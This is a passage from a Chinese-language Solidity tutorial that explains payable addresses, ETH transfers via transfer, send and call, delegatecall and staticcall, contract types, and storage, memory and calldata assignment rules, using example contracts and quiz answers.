// 直接赋值会报错,因为 msg.sender 不是 payable 类型的地址。
// Type address is not implicitly convertible to expected type address payable.
// owner = msg.sender;
// 使用 payable 函数,显示转换一下就可以了。
owner = payable(msg.sender);
}
// deposit1 没有 payable 标示;如果传入ETH币,会报错
// transact to Payable.deposit1 errored: VM error: revert.
function deposit1() external {}
// deposit2 有 payable, 所以可以发送ETH到合约
function deposit2() external payable {}
function getBalance() external view returns (uint256) {
// 使用 address(this) 就可以包装当前合约,然后就可以使用 .balance 获取余额了。
return address(this).balance;
}
}
注意点:
如果状态变量是
payable
类型,赋值的时候需要使用payable()
进行显示转换如果函数没有
payable
标示,那么调用时候不能发送网络主币。如果尝试这么做会收到错误:
transact to Payable.functionName errored: VM error: revert.
转换 0 地址
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function getAddress()
external
pure
returns (
address,
address,
address,
address,
address
)
{
return (address(0), address(1), address(3), address(6), address(999));
}
function getPayaableAddress() external pure returns (address) {
// Explicit type conversion not allowed from "int_const 1" to "address payable".
// return payable(1);
return payable(0);
}
}
transfer()
将余额转到当前地址(合约地址转账),语法如下:
<address payable>.transfer(uint256 amount)
需要 payable address
使用固定(不可调节)的 2300 gas 的矿工费,错误会 reverts (回滚所有状态)
2300 gas 足够转账,但是如果接收合约内的
fallback
和receive
函数有恶意代码,复杂代码。容易导致 gas 耗尽的错误。
失败时抛出异常,
如果当前合约的余额不够多,则
transfer
函数会执行失败,或者如果以太转移被接收帐户拒绝,transfer
函数同样会失败而进行回退。
如果目标地址是一个合约,那么目标合约内部的 receive/fallback 函数会随着调用
transfer
函数一起执行,这是 EVM 的特性,没办法阻止。
例子演示:
核心: _to.transfer(200);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract SendEth {
event Log(string funName, address from, uint256 value, bytes data);
fallback() external payable {
emit Log("fallback", msg.sender, msg.value, msg.data);
}
receive() external payable {
emit Log("receive", msg.sender, msg.value, "");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
// transfer : 地址必须为 payable 类型
// 方式一: 参数中 地址标注 address payable ,并且函数标注 payable; 这种更省 gas
// 28767 gas
function transfer1(address payable _to) external payable {
_to.transfer(100);
}
// 也可以 在内部进行显示转换
// 方式二: 仅在内部进行 payable(address) 显示转换
// 28813 gas
function transfer2(address _to) external {
payable(_to).transfer(200);
}
}
send()
将余额转到当前地址,并返回交易成功状态(合约地址转账)
<address payable>.send(uint256 amount) returns (bool)
send
是 transfer
的低级版本。如果执行失败,当前的合约不会因为异常而终止。transfer
等价于require(send())
需要 payable address
使用固定(不可调节)的 2300 gas 的矿工费。
gas 同
transfer
一样的是 2300 gas ;足够转账,但是如果接收合约内的fallback
和receive
函数有恶意代码,复杂代码。容易导致 gas 耗尽的错误。
失败时仅会返回
false
,不会终止执行(合约地址转账);send()
执行有一些风险:为了保证安全,必须检查 send 的返回值,如果交易失败,会回退以太币。
补充:send 与 transfer 对应,但 send 更底层。如果执行失败,transfer 不会因异常停止,而 send 会返回 false。transfer 相对 send 较安全
例子演示:
核心: bool success = _to.send(100);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract SendEth {
event Log(string funName, address from, uint256 value, bytes data);
fallback() external payable {
emit Log("fallback", msg.sender, msg.value, msg.data);
}
receive() external payable {
emit Log("receive", msg.sender, msg.value, "");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
// 28791 gas
function send1(address payable _to) external payable {
bool success = _to.send(100);
require(success, "Send Faied");
}
// 28793 gas
function send2(address _to) external {
bool success = payable(_to).send(100);
require(success, "Send Faied");
}
}
.transfer(uint256 amount)
失败时抛出异常, 等价于require(send())
使用固定(不可调节)的 2300 gas 的矿工费,错误会 reverts.
call/delegatecall/staticcall
为了与不知道 ABI 的合约进行交互,Solidity 提供了函数 call
/delegatecall
/staticcall
直接控制编码。它们都带有一个 bytes memory
参数和返回执行成功状态(bool)和数据(bytes memory)。
函数 abi.encode
,abi.encodePacked
,abi.encodeWithSelector
和 abi.encodeWithSignature
可用于编码结构化数据。
它们可以接受任意类型,任意数量的参数。这些参数会被打包到以 32 字节为单位的连续区域中存放。其中一个例外是当第一个参数被编码成正好 4 个字节的情况。 在这种情况下,这个参数后边不会填充后续参数编码,以允许使用函数签名。
下面具体的介绍三种 call。
call()
用给定的有效载荷(payload)发出低级 CALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账), 格式如下:
<address>.call(bytes memory) returns (bool, bytes memory)
低级
CALL
调用:不需要 payable address, 普通地址即可注意: 调用
call
的时候,地址可以不具备 payable 属性
返回两个参数,一个
bool
值代表成功或者失败,另外一个是可能存在的data
发送所有可用 gas,也可以自己调节 gas。
如果
fallback
和receive
内的代码相对复杂也可以,但是如果是恶意代码,需要考虑消耗的 gas 是否值得执行。_ads.call{value: msg.value,gas:2300}(data)
当合约调用合约时,不知道对方源码和 ABI 时候,可以使用 call 调用对方合约
推荐使用 call 转账 ETH,但是不推荐使用 call 来调用其他合约。
原因是: call 调用的时候,将合约控制权交给对方,如果碰到恶意代码,或者不安全的代码就很容易凉凉。
当调用不存在的合约方法时候,会触发对方合约内的
fallback
或者receive
。我们的合约也可以在
fallback
/receive
这两个方法内抛出事件,查看是否有人对其做了什么操作。
三种方法都提供
gas
选项,而value
选项仅call
支持 。三种 call 里只有call
可以进行 ETH 转账,其他两种不可以进行转账。
例子 1:发送 ETH
核心: (bool success, ) = _to.call{value: 100}("");
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract SendEth {
event Log(string funName, address from, uint256 value, bytes data);
fallback() external payable {
emit Log("fallback", msg.sender, msg.value, msg.data);
}
receive() external payable {
emit Log("receive", msg.sender, msg.value, "");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
// 29005
function call1(address payable _to) external payable {
(bool success, bytes memory data) = _to.call{value: 100}("");
require(success, "call Faied");
}
// 29007
function call2(address _to) external {
(bool success, bytes memory data) = payable(_to).call{value: 100}("");
require(success, "call Faied");
}
}
例子 2(重要):调用其他合约方法
完整代码如下:
分别使用 Test1
和 Test2
的地址进行测试。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test1 {
string public name;
uint256 public age;
address public owner;
event Log(string message);
fallback() external payable {
emit Log("fallback was called");
}
receive() external payable {
emit Log("receive was called");
}
function setNameAndAge(string memory name_, uint256 age_)
external
payable
returns (string memory __name, uint256 __age)
{
name = name_;
age = age_;
owner = msg.sender;
return (name_, age_);
}
// 获取合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
contract Test2 {}
contract CallTest {
// 需要一个网页,动态的解析 _bys
bytes public bys;
function call_Test1_setNameAndAge(
address ads_,
string memory name_,
uint256 age_
) external payable {
bytes memory data = abi.encodeWithSignature(
"setNameAndAge(string,uint256)",
name_,
age_
);
(bool success, bytes memory _bys) = ads_.call{value: msg.value}(data);
require(success, "Call Failed");
bys = _bys;
}
}
简单说下这个例子的原理
/**
普通调用
用户A 调用 callB 合约, 发送 100 wei ; callB 调用 Test1, 发送 50 wei
此时在 Test1 合约内部
msg.sender = B
msg.value = 50
Test1 内部如果有状态变量修改,则会被修改
发送到 Test1 内的ETH主币也会被留在Test1内
*/
call 核心代码如下
bytes memory data = abi.encodeWithSignature(
"setNameAndAge(string,uint256)",
_name,
_age
);
(bool success, bytes memory _bys) = _ads.call{value: msg.value}(data);
require(success, "Call Failed");
bys = _bys;
delegatecall() 委托调用
发出低级函数 DELEGATECALL
,失败时返回 false,发送所有可用 gas,也可以自己调节 gas。
<address>.delegatecall(bytes memory) returns (bool, bytes memory)
delegatecall
使用方法和 call
完全一样。区别在于,delegatecall
只调用给定地址的代码(函数),其他状态属性如(存储,余额 …)都来自当前合约。delegatecall
的目的是使用另一个合约中的库代码。
委托调用是:委托对方调用自己数据的。类似授权转账,比如我部署一个 Bank 合约, 授权 ContractA 使用 Bank 地址内的资金,ContractA 只拥有控制权,但是没有拥有权。
委托调用后,所有变量修改都是发生在委托合约内部,并不会保存在被委托合约中。
利用这个特性,可以通过更换被委托合约,来升级委托合约。
委托调用合约内部,需要和被委托合约的内部参数完全一样,否则容易导致数据混乱
可以通过顺序来避免这个问题,但是推荐完全一样
例子 1(重要)
代码如下:
DelegateCall
是委托合约TestVersion1
是第 1 次被委托合约TestVersion2
是第 2 次被委托合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 合约版本 V.1
contract TestVersion1 {
address public sender;
uint256 public value;
uint256 public num;
function set(uint256 num_) external payable {
sender = msg.sender;
value = msg.value;
num = num_;
}
}
// 合约版本 V.2
contract TestVersion2 {
address public sender;
uint256 public value;
uint256 public num;
function set(uint256 num_) external payable {
sender = msg.sender;
value = msg.value;
num = num_ * 2;
}
}
// 委托调用测试
contract DelegateCall {
address public sender;
uint256 public value;
uint256 public num;
function set(address _ads, uint256 num_) external payable {
sender = msg.sender;
value = msg.value;
num = num_;
// 第1种 encode
// 不需知道合约名字,函数完全自定义
bytes memory data1 = abi.encodeWithSignature("set(uint256)", num_);
// 第2种 encode
// 需要合约名字,可以避免函数和参数写错
bytes memory data2 = abi.encodeWithSelector(TestVersion1.set.selector, num_);
(bool success, bytes memory _data) = _ads.delegatecall(data2);
require(success, "DelegateCall set failed");
}
}
简单说下这个例子的原理
/**
委托调用
用户A 调用 DelegateCallB 合约, 发送 100 wei ; DelegateCallB 委托调用 Test1
此时在 Test1 合约内部
msg.sender = A
msg.value = 100
Test1 内部如果有状态变量修改,也不会被修改,会在DelegateCallB 内改变
发送到 Test1 内的ETH主币,会被留在 DelegateCallB 内,不会在Test1 内
*/
staticcall() 静态调用
用给定的有效载荷(payload)发出低级 STATICCALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)
<address>.staticcall(bytes memory) returns (bool, bytes memory)
它与 call 基本相同,发送所有可用 gas,也可以自己调节 gas,但如果被调用的函数以任何方式修改状态变量,都将回退。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 被调用的合约
contract Hello1 {
function echo() external pure returns (string memory) {
return "Hello World!";
}
}
contract Hello2 {
uint8 public a;
function echo() external returns (string memory) {
a = 1;
return "Hello World!";
}
}
// 调用者合约
contract SoldityTest {
function callHello(address ads_) external view returns (string memory) {
// 编码被调用者的方法签名
bytes4 methodId = bytes4(keccak256("echo()"));
// 调用合约
(bool success, bytes memory data) = ads_.staticcall(
abi.encodeWithSelector(methodId)
);
if (success) {
return abi.decode(data, (string));
} else {
return "error";
}
}
}
三种 call 的总结
call
,delegatecall
和staticcall
都是非常低级的函数,应该只把它们当作最后一招来使用,它们破坏了 Solidity 的类型安全性。三种方法都提供
gas
选项,而value
选项仅call
支持 。所以三种 call 里只有call
可以进行 ETH 转账,其他两种不可以进行转账。不管是读取状态还是写入状态,最好避免在合约代码中硬编码使用的 gas 值。这可能会引入错误,而且 gas 的消耗也是动态改变的。
如果在通过低级函数
delegatecall
发起调用时需要访问存储中的变量,那么这两个合约的存储布局需要一致,以便被调用的合约代码可以正确地通过变量名访问合约的存储变量。 这不是指在库函数调用(高级的调用方式)时所传递的存储变量指针需要满足那样情况。
⚠️ 注意: 在 0.5.0 版本以前,
.call
,.delegatecall
and.staticcall
仅仅返回成功状态,没有返回值。
⚠️ 在 0.5.0 版本以前, 还有一个
callcode
函数,现在已经去除。
transfer / send / call 三种转账的总结
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function byTransfer() public {
payable(msg.sender).transfer(100);
}
function bySend() public {
bool success = payable(msg.sender).send(100);
require(success, "Send Fail");
}
// 如果使用 transfer 或 send 函数必须添加fallback回退函数
fallback() external {}
receive() external payable {}
}
相同点:
三种方法都可以进行转账
_to.transfer(100)
、_to.send(100)
、_to.call{value: 100}("")
的接收方都是_to
。如果
_to
是合约,则合约中必须增加fallback
或者receive
函数!否则报错
In order to receive Ether transfer the contract should have either 'receive' or payable 'fallback' function
不同点:
低级
CALL
调用:不需要payable address
transfer 和 send 只能是
payable address
call
的 gas 可以动态调整transfer 和 send 只能是固定制
2300
call
除了可以转账外,可以还可以调用不知道 ABI 的方法,还可以调用的时候转账当调用不存在的合约方法时候,会触发对方合约内的
fallback
或者receive
。如果使用
_to.call{value: 100}(data)
,那么data
中被调用的方法必须添加payable
修饰符,否则转账失败!因为可以调用方法,所以 call 有两个参数,除了一个
bool
值代表成功或者失败,另外一个是可能存在的data
,比如创建合约时候得到部署的地址,调用函数时候得到的函数放回值。
注意事项·
send
使用 send 有很多危险:如果调用栈深度已经达到 1024(这总是可以由调用者所强制指定),转账会失败;并且如果接收者用光了 gas,转账同样会失败。为了保证以太币转账安全,总是检查 send 的返回值,利用 transfer 或者下面更好的方式: 用这种接收者取回钱的模式。
call
在执行另一个合约函数时,应该尽可能避免使用 .call() ,因为它绕过了类型检查,函数存在检查和参数打包。
由于 EVM 会把对一个不存在的合约的调用作为是成功的。 Solidity 会在执行外部调用时使用 extcodesize 操作码进行额外检查。 这确保了即将被调用的合约要么实际存在(它包含代码)或者触发一个异常。低级调用不 包括这个检查,这使得它们在 GAS 方面更便宜,但也更不安全。
上面的这三个 call 方法都是底层的消息传递调用,最好仅在万不得已才进行使用,因为他们破坏了 Solidity 的类型安全。
值类型:合约类型
每一个合约定义都有他自己的类型。
可以隐式地将合约转换为从他们继承的合约。
合约可以显式转换为
address
类型。可以转换为
address payable
类型
⚠️ 注意:合约不支持任何运算符。
创建的例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
uint256 public a = 123;
fallback() external {}
receive() external payable {}
}
contract C {
A public a1;
// A public a1 = A(payable(0xa0808B3e1713ff8C66b89aa4d0033c9ACfe37016));
A public a2 = new A();
// 先部署后,然后传入地址
function getA1(A _a) external pure returns (address, address) {
return (address(_a), payable(address(_a)));
}
// 内部直接new创建
function getA2() external view returns (address, address) {
return (address(a2), payable(address(a2)));
}
function test1(A _a) external view returns (uint256) {
return _a.a();
}
function test2() external view returns (uint256) {
return a2.a();
}
}
如果声明一个合约类型的局部变量( MyContract c
),则可以调用该合约的函数。 注意需要赋相同合约类型的值给它。
还可以实例化合约(即新创建一个合约对象),使用 new
创建合约。
合约和 address 的数据表示是相同的.
转钱的例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
uint256 public a = 123;
fallback() external {}
receive() external payable {}
}
contract B {
// 没有 fallback / receive
uint256 public b = 123;
}
contract C {
A public a = new A();
B public b = new B();
function transferA() external payable returns (address, address) {
payable(address(a)).transfer(msg.value);
return (address(a), payable(address(a)));
}
function transferB() external payable returns (address, address) {
payable(address(b)).transfer(msg.value);
return (address(b), payable(address(b)));
}
// 获取合约的余额
function getBalance(address ads_) external view returns (uint256) {
return ads_.balance;
}
}
合约的属性
合约类型的成员是合约的外部函数及 public 的 状态变量。
对于合约 C 可以使用 type(C) 获取合约的类型信息,
type(C).name
获得合约名
type(C).creationCode
获得包含创建合约字节码的内存字节数组。
该值和合约内使用
address(this).code;
结果一样。它可以在内联汇编中构建自定义创建例程,尤其是使用
create2
操作码。不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。
type(C).runtimeCode
获得合约的运行时字节码的内存字节数组。这是通常由
C
的构造函数部署的代码。如果
C
有一个使用内联汇编的构造函数,那么可能与实际部署的字节码不同。还要注意库在部署时修改其运行时字节码以防范定期调用(guard against regular calls)。 与
.creationCode
有相同的限制,不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。
无 constructor
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
address public owner;
function getCode() public view returns (bytes memory) {
return address(this).code;
}
}
contract C {
string public name = type(Test).name;
bytes public creationCode = type(Test).creationCode;
bytes public runtimeCode = type(Test).runtimeCode;
}
// Test.getCode
//
// creationCode
//
// runtimeCode
// 和 Test.getCode 相同
有 constructor
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
address public owner;
constructor() {
owner = msg.sender;
}
function getCode() public view returns (bytes memory) {
return address(this).code;
}
}
contract C {
string public name = type(Test).name;
bytes public creationCode = type(Test).creationCode;
// runtimeCode 不能获取 constructor 修改 immutable 变量的数据
// 比如 Test 里的owner 不能是 immutable 类型
// "runtimeCode" is not available for contracts containing immutable variables.
// 等于合约地址上的属性 address(this).code
bytes public runtimeCode = type(Test).runtimeCode;
}
// Test.getCode
//
// creationCode
//
// runtimeCode
// 和 Test.getCode 相同
引用类型的额外注解:数据位置
data location ,中文名为数据位置。
在讲引用类型之前,先介绍数据位置。这是因为在 Solidity 中,引用类型是由简单数据类型组合而成,相比于简单的值类型,这些类型通常通过名称引用。这些类型涉及到的数据量较大,复制它们可能要消耗大量 Gas,所以我们在使用引用数据类型时,必须考虑存储位置。我们需要仔细考虑数据是保存在内存中,还是在 EVM 存储区中。这就是线介绍数据位置的原因。
注意:所有的引用类型,都有数据位置这个额外的注解来指定存储在哪里,所以一定要掌握好。
总结:如果使用引用类型,则必须明确指明数据存储哪种类型的位置(空间)里:
数据位置的基础介绍
在合约中声明和使用的变量都有一个数据位置,合约变量的数据位置将会影响 Gas 消耗量。
Solidity 提供的有三种如下数据位置。
存储 storage : 状态变量保存的位置,只要合约存在就一直存储.
内存 memory : 即数据在内存中,因此数据仅在其生命周期内(函数调用期间)有效。不能用于外部调用。
调用数据 calldata : 用来保存函数参数的特殊数据位置,是一个只读位置。
调用数据 calldata 是不可修改的、非持久的函数参数存储区域,效果大多类似 内存 memory 。
主要用于外部函数的参数,但也可用于其他变量,无论外部内部函数都可以使用。
核心:更改数据位置或类型转换将始终产生自动进行一份拷贝,而在同一数据位置内(对于 存储 storage 来说)的复制仅在某些情况下进行拷贝。
storage
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocation {
// storage
uint256 stateVariable = 1;
uint256[] stateArray = [1, 2, 3];
// uint storage stateVariable; // Expected identifier but got 'storage'
// uint[] memory stateArray; // Expected identifier but got 'memory'
}
该存储位置存储永久数据,这意味着该数据可以被合约中的所有函数访问。可以把它视为计算机的硬盘数据,所有数据都永久存储。保存在存储区(storage)中的变量,以智能合约的状态存储,并且在函数调用之间保持持久性。与其他数据位置相比,存储区数据位置的成本较高。
storage 是永久存储在以太坊区块链中,更具体地说存储在存储 Merkle Patricia 树中,形成帐户状态信息的一部分。一旦使用这个类型,数据将永远存在。 扩展: 默克尔树(merkle tree)
重点:状态变量总是存储在存储区(storage)中,并且不能显式地标记状态变量的位置。。状态变量是强制为 storage。
memory
内存位置是临时数据,比存储位置便宜。它只能在函数中访问。通常,内存数据用于保存临时变量,以便在函数执行期间进行计算。一旦函数执行完毕,它的内容就会被丢弃。你可以把它想象成每个单独函数的内存(RAM)。
memory:存储在内存中,即分配、即使用,越过作用域则不可访问,等待被回收。
重点 1:函数参数(包括返回参数)都存储在内存中。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocation {
function add(uint256 num1, uint256 num2)
public
pure
returns (uint256 result)
{
return num1 + num2;
}
}
上面例子中: 函数参数 uint num1
与 uint num2
,返回值 uint result
都存储在内存中。
重点 2:引用类型的局部变量,需要显式指定数据位置(storage/memory)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public java; // 一本 java 书
mapping(address => uint256) public balances;
function test() public {
/* 此处都是局部变量 */
// 值类型:所以它们被存储在内存中
bool flag = true;
uint256 number = 1;
address account = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac;
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff)));
// Data location can only be specified for array, struct or mapping types,
// but "memory" was given.
// bool memory flag2; // 错误:值类型的数据不能标示 memory
// 引用类型:需要显示指定数据位置,此处指定为内存
uint256[] memory localArray; // array
// uint8[] memory nums = [1, 2, 3]; // 内存中不能创建动态数组
uint8[3] memory numsFixed = [1, 2, 3];
uint256[] memory a = new uint256[](5); // 推荐
a[1] = 1;
a[2] = 2;
a[3] = 3;
a[4] = 4;
string memory myStr = "hello"; // string
// 映射不能在函数中动态创建,您必须从状态变量中分配它们。
// mapping(address => bool) memory myMapping;
mapping(address => uint256) storage ref = balances; // mapping
java = Book({title: "Solidity", author: "Anbang", book_id: 1}); // struct
bytes memory bc = bytes("!"); //
}
}
mapping 和 struct 类型,不能在函数中动态创建,必须从状态变量中分配它们。
内存中不能创建动态数组
重点 3:函数的输入和输出参数如果是数组,使用 memory
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocations {
// name_ 是 string ,所以使用 memory
// mm_ 是 uint256[] ,所以使用 memory
// 输出相同,也是使用 memory
function examples2(string memory name_, uint256[] memory mm_)
external
pure
returns (uint256[] memory memArr, string memory myName)
{
memArr = new uint256[](mm_.length);
myName = name_;
for (uint256 index = 0; index < mm_.length; index++) {
memArr[index] = mm_[index];
}
}
}
重点 4:引用类型的局部变量:指定 storage 和 memory 的区别
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocations {
struct MyStruct {
string name;
uint256 age;
}
mapping(address => MyStruct) public myStructs;
function test1() external returns (MyStruct memory) {
myStructs[msg.sender] = MyStruct({name: "Anbang1", age: 18});
// storage 会修改状态变量
MyStruct storage myStruct1 = myStructs[msg.sender];
myStruct1.age++;
return myStruct1;
}
function test2() external returns (MyStruct memory) {
myStructs[msg.sender] = MyStruct({name: "Anbang2", age: 18});
// memory 函数运行完后即消失,修改的值也不会储存在状态变量中
MyStruct memory myStruct2 = myStructs[msg.sender];
myStruct2.age++;
return myStruct2;
}
}
storage
修改引用数据: 会修改状态变量memory
修改引用数据: 函数运行完后即消失,修改的值也不会储存在状态变量中
calldata
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocations {
function test(uint256[] calldata mm_)
external
pure
returns (uint256[] calldata)
{
// mm_[0] = 1; // Calldata arrays are read-only.
return mm_;
}
}
calldata 是不可修改的非持久性数据位置,所有传递给函数的值,都存储在这里。此外,calldata
是外部函数(external function)的参数的默认位置。外部函数(external function)的参数存储在 calldata 中。函数的返回值中也可以使用 calldata 数据位置的数组和结构,但是无法给其分配空间。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocations {
// 参数 [1,2,3] 消耗 25586 gas
// 参数 [1,2,3,4,5,6,7,8,9,0] 消耗 32114 gas
function iMemory(uint256[] memory _mm)
external
pure
returns (uint256[] memory memArr)
{
memArr = new uint256[](_mm.length);
for (uint256 index = 0; index < _mm.length; index++) {
memArr[index] = _mm[index];
}
}
// 参数 [1,2,3] 消耗 24551 gas
// 参数 [1,2,3,4,5,6,7,8,9,0] 消耗 29510 gas
function iCalldata(uint256[] calldata _mm)
external
pure
returns (uint256[] memory memArr)
{
memArr = new uint256[](_mm.length);
for (uint256 index = 0; index < _mm.length; index++) {
memArr[index] = _mm[index];
}
}
}
要点: calldata 只能用在函数的输入和输出参数中
要点: calldata 用在输入参数中,比 memorg 更省 gas
要点: calldata 的参数不允许修改,但是 memorg 参数允许修改
存储函数参数,它是只读的,不会永久存储的一个数据位置。外部函数(external function)的参数被强制指定为 calldata,效果与 memory 类似。
注解: 如果可以的话,请尽量使用 calldata 作为数据位置,因为它将避免复制,并确保不能修改数据。
注解: 在 0.6.9 版本之前,引用类型参数的数据位置有限制,主要表现在函数的可见性上;外部函数中使用 calldata ,公共函数中使用 memory ,以及内部和私有函数中的 memory 或 storage 。 现在 memory 和 calldata 在所有函数中都被允许使用,无论其可见性如何。
stack
堆栈是由 EVM (Ethereum 虚拟机)维护的非持久性数据。EVM 使用堆栈数据位置在执行期间加载变量。堆栈位置最多有 1024 个级别的限制。
小结
按照关键字:
storage: 存储区: 状态变量总是储存在存储区上
memory: 内存区: 局部变量使用,只在内存中生效。
值类型的局部变量,存储在内存中。
引用类型局部变量,需要显式地指定数据位置。
函数的输入参数如果是数组或者 string,必须是
memory
或calldata
内存中的数组必须是定长数组(不能使用 push 赋值),动态数组只能储存在状态变量中。
calldata
和 memory 类似,但是 calldata 只能用在函数的输入参数中。
相比使用 memory ,合约输入参数如果使用 calldata, 可以节约 gas
按照函数参数:
内部函数参数: (包括返回参数)都存储在**memory(内存)**中。
外部函数参数: (不包括返回参数)存储在
calldata
中。
不同数据位置之间的赋值规则
本小节总结如下:
将 存储变量 赋值给 存储变量 (同类型)
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 内存变量 赋值给 存储变量
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 存储变量 赋值给 内存变量
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
将 内存变量 赋值给 内存变量 (同类型)
值 类 型
: 创建一个新副本。引用类型
: 不会创建副本。(重要)
将存储变量赋值给存储变量
将一个状态(存储)变量赋值给另一个状态(存储)变量,将创建一个新的副本。
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
// 值类型
uint256 public stateA1 = 10;
uint256 public stateA2 = 20;
// 引用类型
string public stateB1 = "ABCD";
string public stateB2 = "1234";
function testA() public returns (uint256) {
stateA1 = stateA2;
stateA2 = 30;
return stateA1; // returns 20
}
function testB() public returns (string memory) {
stateB1 = stateB2;
bytes(stateB2)[0] = bytes1("9");
return stateB1; // returns 1234
}
}
问答题: 上面函数 testA
和 testB
的返回值是什么?
testA
: 第一次执行返回值是20
,之后执行返回值是30
testB
: 第一次执行返回值是字符串"1234"
,之后执行返回值是字符串"9234"
值类型: 先将 stateA2 赋值给 stateA1,再把 stateA2 修改;结果得到的 stateA1 是 stateA2 修改前的值,说明对于值类型的局部变量来说 => 创建一个新副本。
引用类型: 先将 stateB2 赋值给 stateB1,再把 stateB2 修改;结果得到的 stateB1 是 stateB2 修改前的值,说明对于引用类型的局部变量来说 => 创建一个新副本。
将内存变量赋值给存储变量
将内存变量赋值给存储变量,总会创建一个新副本。
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
uint256 public stateA1 = 10; //storage
string public stateB1 = "ABCD";
function testA() public returns (uint256) {
uint256 memoryA2 = 20; // memory
stateA1 = memoryA2;
memoryA2 = 40;
return stateA1; // returns 20
}
function testB() public returns (string memory) {
string memory memoryB2 = "1234"; // memory
stateB1 = memoryB2;
bytes(memoryB2)[0] = bytes1("9");
return stateB1; // returns 1234
}
}
问答题: 上面函数 testA
和 testB
的返回值是什么?
testA
: 永远返回20
testB
: 永远返回字符串"1234"
值类型: 先将 memoryA2 赋值给 stateA1,再把 memoryA2 修改;结果得到的 stateA1 是 memoryA2 修改前的值,说明对于值类型的局部变量来说 => 创建一个新副本。
引用类型: 先将 memoryB2 赋值给 stateB1,再把 memoryB2 修改;结果得到的 stateB1 是 memoryB2 修改前的值,说明对于引用类型的局部变量来说 => 创建一个新副本。
将存储变量赋值给内存变量
从存储变量复制到内存变量,将创建一个副本。
值 类 型
: 创建一个新副本。引用类型
: 创建一个新副本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
uint256 public stateA1 = 10; //storage
string public stateB1 = "ABCD";
function testA() public returns (uint256) {
uint256 memoryA2 = 20; // memory
memoryA2 = stateA1;
stateA1 = 40;
return memoryA2; // returns 第一次是 10, 以后都是40
}
function testB() public returns (string memory) {
string memory memoryB2 = "1234"; // memory
memoryB2 = stateB1;
bytes(stateB1)[0] = bytes1("9");
return memoryB2; // returns 第一次是 "ABCD", 以后都是 "9BCD"
}
}
问答题: 上面函数 testA 和 testB 的返回值是什么?
testA
: 第一次执行返回值是 10,之后执行返回值是 40testB
: 第一次执行返回值是字符串"ABCD"
,之后执行返回值是字符串"9BCD"
值类型: 先将 stateA1 赋值给 memoryA2,再把 stateA1 修改;结果得到的 memoryA2 是 stateA1 修改前的值,说明对于值类型的局部变量来说 => 创建一个新副本。
引用类型: 先将 stateB1 赋值给 memoryB2,再把 stateB1 修改;结果得到的 memoryB2 是 stateB1 修改前的值,说明对于引用类型的局部变量来说 => 创建一个新副本。
将内存变量赋值给内存变量
对于值类型的局部变量: 创建一个新副本。
对于引用类型局部变量: 不会创建副本。(重要)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
function testA() public pure returns (uint256) {
uint256 memoryA1 = 10; // memory
uint256 memoryA2 = 20; // memory
memoryA1 = memoryA2;
memoryA2 = 40;
return memoryA1; // returns 永远是 20
}
function testB() public pure returns (string memory) {
string memory memoryB1 = "ABCD"; // memory
string memory memoryB2 = "1234"; // memory
memoryB1 = memoryB2;
bytes(memoryB2)[0] = bytes1("9");
return memoryB1; // returns 永远是 "9234"
}
}
问答题: 上面函数 testA 和 testB 的返回值是什么?
testA
: 永远是20
testB
: 永远是字符串"9234"
值类型: 先将 memoryA2 赋值给 memoryA1,再把 memoryA2 修改;结果得到的 memoryA1 是 memoryA2 修改前的值,说明对于值类型的局部变量来说,此时仍然创建一个新副本。
引用类型: 先将 memoryB2 赋值给 memoryB1,再把 memoryB2 修改;结果得到的 memoryB1 是 memoryB2 修改后的值。说明它们都指向相同的存储位置,并不会创建新副本。
⚠️ 重点:对于引用类型的局部变量,从一个内存变量复制到另一个内存变量不会创建副本,共享内存。
小结
数据位置不仅仅表示数据如何保存,它同样影响着赋值行为:
在 storage 和 memory 之间两两赋值(或者从 calldata 赋值 ),都会创建一份独立的拷贝。
从 memory 到 memory 的赋值只创建引用,这意味着更改内存变量,其他引用相同数据的所有其他内存变量的值也会跟着改变。
从 storage 到本地存储变量的赋值也只分配一个引用。
